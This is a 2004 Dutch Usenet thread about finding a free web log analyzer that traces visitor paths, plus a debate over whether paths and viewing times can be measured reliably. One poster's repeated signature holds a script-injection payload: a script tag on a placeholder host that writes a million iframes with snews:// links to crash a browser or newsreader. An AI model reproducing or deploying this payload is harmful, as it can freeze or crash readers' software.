Onderwerp: Website statistieken met bezoekerspaden

Hallo,

Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
Met Analog kun je statistieken opmaken van je logfiles.

Echter het is niet mogelijk om met dat programma bezoekerspaden te
analyseren.
Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op de website.
Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
hebben en hoelang ze die bekeken hebben.

Weet iemand misschien een goed alternatief waarmee je dus wel bezoekerspaden
kan analyseren?

Alvast bedankt voor je reactie!
Arjen

On Fri, 30 Jan 2004 13:20:33 +0100, "Arjen" <boah123@hotmail.com>
wrote:

>Weet iemand misschien een goed alternatief waarmee je dus wel bezoekerspaden
>kan analyseren?

Misschien staat hier iets vorr jou bij:
http://www.uu.se/Software/Analyzers/...analyzers.html


Ronnie
--
What I lack in intelligence,
I make up for in stupidity.

Arjen wrote:

> Hallo,
>
> Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
> Met Analog kun je statistieken opmaken van je logfiles.
>
> Echter het is niet mogelijk om met dat programma bezoekerspaden te
> analyseren.
> Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op de website.

onmogelijk

> Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
> hebben en hoelang ze die bekeken hebben.

onmogelijk

> Weet iemand misschien een goed alternatief waarmee je dus wel bezoekerspaden
> kan analyseren?

kort: niet. Je kan nl niet de back button zien. Ook kan je niet zien dat
iemand een browser openzet, uit z'n neus eet, naar de WC gaat, en chat
met iemand.

--
Kind regards, http://johnbokma.com/ - added recently: Capturing MSN
John Messenger webcam HOWTO ~ Spamassassin spam filter
cookbook ~ HTTPS protocol with ActiveState Perl

On Fri, 30 Jan 2004 16:25:43 +0100, John Bokma <postmaster@castleamber.com> wrote:
> Arjen wrote:
>
>> Hallo,
>>
>> Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
>> Met Analog kun je statistieken opmaken van je logfiles.
>>
>> Echter het is niet mogelijk om met dat programma bezoekerspaden te
>> analyseren.
>> Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op de website.
>
> onmogelijk

Tuurlijk wel.
>
>> Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
>> hebben en hoelang ze die bekeken hebben.
>
> onmogelijk

Tuurlijk wel.
>
>> Weet iemand misschien een goed alternatief waarmee je dus wel bezoekerspaden
>> kan analyseren?
>
> kort: niet. Je kan nl niet de back button zien. Ook kan je niet zien dat
> iemand een browser openzet, uit z'n neus eet, naar de WC gaat, en chat
> met iemand.

Alles in sessions opslaan en die weer uitlezen (wel anders opslaan dan je
bijvoorbeeld met php standaard doet). Zorg dat je pagina's een extra header
opnemen zodat ze niet gecached worden.

M.a.w., lekker bloated :-)

Hans
>


--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

Hans:
[click trail statistics]
>Alles in sessions opslaan en die weer uitlezen (wel anders opslaan dan je
>bijvoorbeeld met php standaard doet). Zorg dat je pagina's een extra header
>opnemen zodat ze niet gecached worden.
>
>M.a.w., lekker bloated :-)

Een heuristische oplossing zoals ook gebruikt wordt voor het tellen van
unieke bezoekers lijkt me ruim voldoende. Dat kun je gewoon stateless doen
op basis van de server logs.

De gebruikelijke heuristiek op basis van IP en tijdstip is: twee
opeenvolgende HTTP-requests van 1 client-IP worden geacht van dezelfde
gebruikerssessie te zijn als het onderling tijdverschil een bepaald
maximum (bijvoorbeeld: 15 minuten) niet overschrijdt.

Dit lost natuurlijk afwijkingen door caching, proxies, connection sharing,
klikken via andere sites etc. niet op, maar het is een redelijke
benadering die de site-eigenaar een clue geeft t.a.v. het klikgedrag.

Dit zou er een kunnen zijn:
http://sherlog.europeanservers.net/
(ik heb hier zelf geen ervaring mee)

Meer kandidaten wellicht op
http://linux.tucows.com/log_analyzers_default.html
http://www.linuxlinks.com/Software/Log_Analyzers/

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

Hans wrote:
> On Fri, 30 Jan 2004 16:25:43 +0100, John Bokma <postmaster@castleamber.com> wrote:
>
>>Arjen wrote:
>>
>>
>>>Hallo,
>>>
>>>Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
>>>Met Analog kun je statistieken opmaken van je logfiles.
>>>
>>>Echter het is niet mogelijk om met dat programma bezoekerspaden te
>>>analyseren.
>>>Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op de website.
>>
>>onmogelijk
>
> Tuurlijk wel.

Nee, onmogelijk.

>>>Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
>>>hebben en hoelang ze die bekeken hebben.
>>
>>onmogelijk
>
> Tuurlijk wel.

Onmogelijk.

In beide gevallen kan ik een site bezoeken zonder dat jij deze dingen
kan natrekken. En dan sluit ik bots nog even uit.

> Alles in sessions opslaan en die weer uitlezen (wel anders opslaan dan je
> bijvoorbeeld met php standaard doet). Zorg dat je pagina's een extra header
> opnemen zodat ze niet gecached worden.

Zelfs "niet cachen" is niet te garanderen.

--
Kind regards, http://johnbokma.com/ - added recently: Capturing MSN
John Messenger webcam HOWTO ~ Spamassassin spam filter
cookbook ~ HTTPS protocol with ActiveState Perl

On Fri, 30 Jan 2004 18:14:25 +0100, Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid> wrote:
> Hans:

> [click trail statistics]

>>Alles in sessions opslaan en die weer uitlezen (wel anders opslaan dan je
>>bijvoorbeeld met php standaard doet). Zorg dat je pagina's een extra header
>>opnemen zodat ze niet gecached worden.

> Een heuristische oplossing zoals ook gebruikt wordt voor het tellen van
> unieke bezoekers lijkt me ruim voldoende. Dat kun je gewoon stateless doen
> op basis van de server logs.

Dan doe je het achteraf. Of op bepaalde tijdstippen. Ik zou dat niet graag
live in willen zetten.

> De gebruikelijke heuristiek op basis van IP en tijdstip is: twee
> opeenvolgende HTTP-requests van 1 client-IP worden geacht van dezelfde
> gebruikerssessie te zijn als het onderling tijdverschil een bepaald
> maximum (bijvoorbeeld: 15 minuten) niet overschrijdt.

Er zijn oplossingen te vinden die dat makkelijk voor je maken hoor. Volgens
mij trouwens in elke (script)taal. Je kunt dan zelf een expire tijd instellen.

Volgens mij is dat trouwens ongeveer gelijk als wat we alletwee bedoelen met dat
verschil dat je logs niet live doorspit. In de sessions waar ik het over had
kun je een extra array opnemen met het path dat mensen afleggen. Die sla je dan
op als de session expired (gc).

Hans

--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

On Fri, 30 Jan 2004 19:51:44 +0100, John Bokma <postmaster@castleamber.com> wrote:
> Hans wrote:

>>>>Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
>>>>Met Analog kun je statistieken opmaken van je logfiles.

>>>>Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op de website.

>>>onmogelijk
>>
>> Tuurlijk wel.
>
> Nee, onmogelijk.

Eigenwijs ventje ben je John :-)
>
>>>>Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
>>>>hebben en hoelang ze die bekeken hebben.
>>>
>>>onmogelijk
>>
>> Tuurlijk wel.
>
> Onmogelijk.
>
> In beide gevallen kan ik een site bezoeken zonder dat jij deze dingen
> kan natrekken. En dan sluit ik bots nog even uit.

In beide gevallen kan ik jouw van een site weggooien als ik het wil afdwingen.

>> Alles in sessions opslaan en die weer uitlezen (wel anders opslaan dan je
>> bijvoorbeeld met php standaard doet). Zorg dat je pagina's een extra header
>> opnemen zodat ze niet gecached worden.

> Zelfs "niet cachen" is niet te garanderen.

Ik heb daar aardig mee lopen kloten in het verleden omdat we problemen hadden
met Opera in een admin interface (checken op een backbutton nadat men niet meer
ingelogt was). Ik weet hoe ik dat kan afdwingen.

Hans (net zo eigenwijs).
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

Hans:
>Dan doe je het achteraf. Of op bepaalde tijdstippen. Ik zou dat niet graag
>live in willen zetten.

Ik had het niet over live, maar over het achteraf analyseren van logfiles.
Dagelijks ofzo.

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

Hans wrote:
> On Fri, 30 Jan 2004 19:51:44 +0100, John Bokma <postmaster@castleamber.com> wrote:
>
>>Hans wrote:
>
>
>>>>>Ik ben op zoek naar een vrij te gebruiken programma zoals Analog.
>>>>>Met Analog kun je statistieken opmaken van je logfiles.
>
>
>>>>>Met bezoekerspaden bedoel ik de route die een bezoeker aflegt op de website.
>
>
>>>>onmogelijk
>>>
>>>Tuurlijk wel.
>>
>>Nee, onmogelijk.
>
>
> Eigenwijs ventje ben je John :-)
>
>>>>>Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
>>>>>hebben en hoelang ze die bekeken hebben.
>>>>
>>>>onmogelijk
>>>
>>>Tuurlijk wel.
>>
>>Onmogelijk.
>>
>>In beide gevallen kan ik een site bezoeken zonder dat jij deze dingen
>>kan natrekken. En dan sluit ik bots nog even uit.
>
>
> In beide gevallen kan ik jouw van een site weggooien als ik het wil afdwingen.
>
>

Jij kan mij van je site gooien zodra ik koffie ga zetten ? Hoe dan ? Mijn
koffiezetapparaat heeft nog geen bluetooth......

>>>Alles in sessions opslaan en die weer uitlezen (wel anders opslaan dan je
>>>bijvoorbeeld met php standaard doet). Zorg dat je pagina's een extra header
>>>opnemen zodat ze niet gecached worden.
>
>
>
>>Zelfs "niet cachen" is niet te garanderen.
>
>
> Ik heb daar aardig mee lopen kloten in het verleden omdat we problemen hadden
> met Opera in een admin interface (checken op een backbutton nadat men niet meer
> ingelogt was). Ik weet hoe ik dat kan afdwingen.
>
> Hans (net zo eigenwijs).

Als ik een proxy server neerzet die alles cached, dan doet ie dat. Jij kan
dan hoog en laag springen, maar je doet er niks aan.

Michiel.

Hans wrote:

> On Fri, 30 Jan 2004 19:51:44 +0100, John Bokma <postmaster@castleamber.com> wrote:

[snip]

>>>>onmogelijk
>>>
>>>Tuurlijk wel.
>>
>>Nee, onmogelijk.
>
> Eigenwijs ventje ben je John :-)

Nop. Hoe "zie" jij dat ik de back button 3x indruk, en dan op een link
klik in de cache? Welk pad volg ik dan? (b.v. de email link op elke
pagina op mijn site).

>>In beide gevallen kan ik een site bezoeken zonder dat jij deze dingen
>>kan natrekken. En dan sluit ik bots nog even uit.
>
> In beide gevallen kan ik jouw van een site weggooien als ik het wil afdwingen.

Ha ha ha! Hoe? Ik kan een pagina op jouw site openen, en er niet naar
kijken. Of Internet disconnecten, de pagina opslaan, en 3 dagen later
rustig, off line, lezen. Overigens hoeveel sites denk je gooien bezoek weg?

Ander voorbeeld, op mijn site, het oxazepam verhaal. Veel hit & run
bezoek, dus via Google (of link), lezen het verhaal (hoop ik) en weg. Ik
zie dus 1 hit. Ik zou vermoed ik met JS kunnen meten wanneer ze de
pagina "verlaten", maar wat zegt dat? Hoeveel hebben ze gelezen? Hoe
aandachtig? Hebben ze de pagina opgeslagen? Het zegt niks.

>>Zelfs "niet cachen" is niet te garanderen.
>
> Ik heb daar aardig mee lopen kloten in het verleden omdat we problemen hadden
> met Opera in een admin interface (checken op een backbutton nadat men niet meer
> ingelogt was). Ik weet hoe ik dat kan afdwingen.

En ik weet dat je nooit exact al die dingen kan meten. Hoe wil je een
bedrijfsproxy "dwingen" ? En iemand die met wget pagina's ophaalt??
(Gebeurd op mijn site o.a.). Soms browse ik met twee verschillende
browsers over 1 site. Soms zijn er hier meer mensen, die allemaal via
een NAT browsen.

En ik ben geen newbie op het gebied van stats meten, zeker niet ;-)

--
Kind regards, http://johnbokma.com/ - added recently: Capturing MSN
John Messenger webcam HOWTO ~ Spamassassin spam filter
cookbook ~ HTTPS protocol with ActiveState Perl

On Sat, 31 Jan 2004 00:15:49 +0100, Michiel de Roo <michiel@mderooPUNTNL> wrote:
>> John
> Hans wrote:

>>>>>>Concreet: ik wil van individuele bezoekers weten welke pagina zij benaderd
>>>>>>hebben en hoelang ze die bekeken hebben.

>>>In beide gevallen kan ik een site bezoeken zonder dat jij deze dingen
>>>kan natrekken. En dan sluit ik bots nog even uit.

>> In beide gevallen kan ik jouw van een site weggooien als ik het wil afdwingen.
>
> Jij kan mij van je site gooien zodra ik koffie ga zetten ? Hoe dan ? Mijn
> koffiezetapparaat heeft nog geen bluetooth......

Daar hoef je geen koffie voor te gaan zetten.

>> ingelogt was). Ik weet hoe ik dat kan afdwingen.

>> Hans (net zo eigenwijs).
>
> Als ik een proxy server neerzet die alles cached, dan doet ie dat. Jij kan
> dan hoog en laag springen, maar je doet er niks aan.

Het gaat erom dat je bepaalde situatie kunt afdwingen. Nu kun je een proxy
inzetten maar dan zal je nog steeds niet die backbutton kunnen gebruiken en
vervolgens echt iets met die site kunnen doen. Als je een normale proxy in
gebruik hebt zul je niet meer de gegevens zien die niet meer zichtbaar moeten
zijn als je de backbutton gebruikt.

Als jij een onveilige lokale situatie wilt kweken door een proxy zo in te
stellen dat jij headers gaat negeren is dat prima maar vraag je af of het
leuk is als de schoonmaker, je collega of nog erger, de klant in jouw
pauze even de backbutton gaat gebruiken.

Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

On Sat, 31 Jan 2004 00:11:25 +0100, Rene Pijlman <reply.in.the.newsgroup@my.address.is.invalid> wrote:
> Hans:
>>Dan doe je het achteraf. Of op bepaalde tijdstippen. Ik zou dat niet graag
>>live in willen zetten.
>
> Ik had het niet over live, maar over het achteraf analyseren van logfiles.
> Dagelijks ofzo.

Snap ik, er zijn echter situaties waarbij je dat wel wil. Ik kan me zelfs
voorstellen dat je het alleen van bepaalde gebruikers/bezoekers wil loggen.

1. Nieuwe gebruikers.
2. Gebruikers waar je klachten over krijgt.
3. Gebruikers met bepaalde privileges.
4. Gebruikers waar je POST en GET params van wil loggen.

Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

Reply-To: onki@spamikaze.is-a-geek.org
NNTP-Posting-Host: e35203.upc-e.chello.nl
X-Trace: nl-news.euro.net 1075507201 38498 213.93.35.203 (31 Jan 2004 00:00:01 GMT)
X-Complaints-To: usenet@nl-news.euro.net
NNTP-Posting-Date: Sat, 31 Jan 2004 00:00:01 +0000 (UTC)
User-Agent: slrn/0.9.7.3 (Linux)
Xref: nl-news.euro.net nl.internet.www.server-side:33668

On Sat, 31 Jan 2004 00:39:33 +0100, John Bokma <postmaster@castleamber.com> wrote:
> Hans wrote:
>
>> Eigenwijs ventje ben je John :-)
>
> Nop. Hoe "zie" jij dat ik de back button 3x indruk, en dan op een link
> klik in de cache? Welk pad volg ik dan? (b.v. de email link op elke
> pagina op mijn site).

Het is de vraag of je zoiet wil meetellen :-) Uiteraard moet je dan wel
je browser zo instellen dat ie alle headers gaat negeren. Zal vast wel
mogelijk zijn maar zie ook andere opmerkingen van mij over het instellen
van proxies.
>
>>>In beide gevallen kan ik een site bezoeken zonder dat jij deze dingen
>>>kan natrekken. En dan sluit ik bots nog even uit.
>>
>> In beide gevallen kan ik jouw van een site weggooien als ik het wil afdwingen.
>
> Ha ha ha! Hoe? Ik kan een pagina op jouw site openen, en er niet naar
> kijken. Of Internet disconnecten, de pagina opslaan, en 3 dagen later
> rustig, off line, lezen.

Alweer, alleen als je geen headers zet of het hardnekkig weg gaat schrijven.
In dat geval creeer je zelf bewust een onbedoelde situatie.

> Overigens hoeveel sites denk je gooien bezoek weg?

Veel, is ook vaak niet nodig tenzij je een dynamische site hebt.

> Ander voorbeeld, op mijn site, het oxazepam verhaal. Veel hit & run
> bezoek, dus via Google (of link), lezen het verhaal (hoop ik) en weg. Ik
> zie dus 1 hit. Ik zou vermoed ik met JS kunnen meten wanneer ze de
> pagina "verlaten", maar wat zegt dat? Hoeveel hebben ze gelezen? Hoe
> aandachtig? Hebben ze de pagina opgeslagen? Het zegt niks.

Je weet dat zoiets niet te meten is, hooguit de bezoekers en de paden.
>
>>>Zelfs "niet cachen" is niet te garanderen.
>>
>> Ik heb daar aardig mee lopen kloten in het verleden omdat we problemen hadden
>> met Opera in een admin interface (checken op een backbutton nadat men niet meer
>> ingelogt was). Ik weet hoe ik dat kan afdwingen.

> En ik weet dat je nooit exact al die dingen kan meten. Hoe wil je een
> bedrijfsproxy "dwingen" ?

Nogmaals, zie ook mijn andere opmerking. Als het gaat om het loggen van
geldige sessies dan is mijn oplossing een prima middel (even afgezien van
het lokaal opslaan en dus niet meer valide, die gegevens kunnen al verlopen
zijn).

> En iemand die met wget pagina's ophaalt??

Dan accepteer ik die niet op een dynamische site als ik zo paranoia ben.

> (Gebeurd op mijn site o.a.). Soms browse ik met twee verschillende
> browsers over 1 site. Soms zijn er hier meer mensen, die allemaal via
> een NAT browsen.

Die zullen toch echt wel aparte sessies moeten accepteren :-)
>
> En ik ben geen newbie op het gebied van stats meten, zeker niet ;-)

Het scheelt, ik ook niet:-)

Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

Hey mensen,

Het is mij onderstussen wel duidelijk geworden dat het kan.
Dat de analyses niet altijd correct hoeven te zijn stond voor mij vooraf al
vast.
Het zijn immers statistieken, en zoals je wellicht eerder gehoord hebt:
statistieken zijn de grootste leugens.

Ik lees in de vorige post veel welles en nietes verhalen.
Daar schiet ik dus niets mee op.
Ondertussen heb ik nog geen geschikte analyzer gevonden.
Eentje die op de server draait en webpagina's met grafieken genereert.
Met andere woorden, z'n tellen op de site moet ik niet hebben.

Zijn er nog mensen met suggesties?

Wederom alvast bedankt!
Arjen